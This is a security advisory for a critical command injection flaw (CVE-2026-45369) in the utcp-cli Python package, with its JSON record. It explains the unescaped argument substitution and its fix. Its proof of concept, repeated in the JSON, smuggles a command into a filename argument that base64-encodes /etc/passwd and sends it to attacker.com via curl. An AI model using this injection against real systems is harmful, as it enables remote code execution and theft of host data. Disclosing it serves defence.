GHSA-33P6-5JXP-P3X4
Vulnerability from github – Published: 2026-05-14 20:56 – Updated: 2026-05-15 23:46Summary
The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.
Affected File
plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py
Vulnerable Code
def replace_placeholder(match):
arg_name = match.group(1)
if arg_name in tool_args:
return str(tool_args[arg_name]) # No escaping applied
The substituted command is then embedded directly into a shell script:
script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')
And executed via:
shell_cmd = ['/bin/bash', '-c', script]
Proof of Concept
Given a tool defined as:
{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}
Calling with:
tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}
Produces and executes:
CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)
This results in full Remote Code Execution on the host system.
Patched
Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).
Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.
Mitigation
Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.
Credit
Reported by @ZeroXJacks.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.1"
},
"package": {
"ecosystem": "PyPI",
"name": "utcp-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45369"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:56:01Z",
"nvd_published_at": "2026-05-14T21:16:48Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n arg_name = match.group(1)\n if arg_name in tool_args:\n return str(tool_args[arg_name]) # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f\u0027{var_name}=$({substituted_command} 2\u003e\u00261)\u0027)\n```\n\nAnd executed via:\n\n```python\nshell_cmd = [\u0027/bin/bash\u0027, \u0027-c\u0027, script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e\u00261)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `\u0026`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.",
"id": "GHSA-33p6-5jxp-p3x4",
"modified": "2026-05-15T23:46:56Z",
"published": "2026-05-14T20:56:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45369"
},
{
"type": "PACKAGE",
"url": "https://github.com/universal-tool-calling-protocol/python-utcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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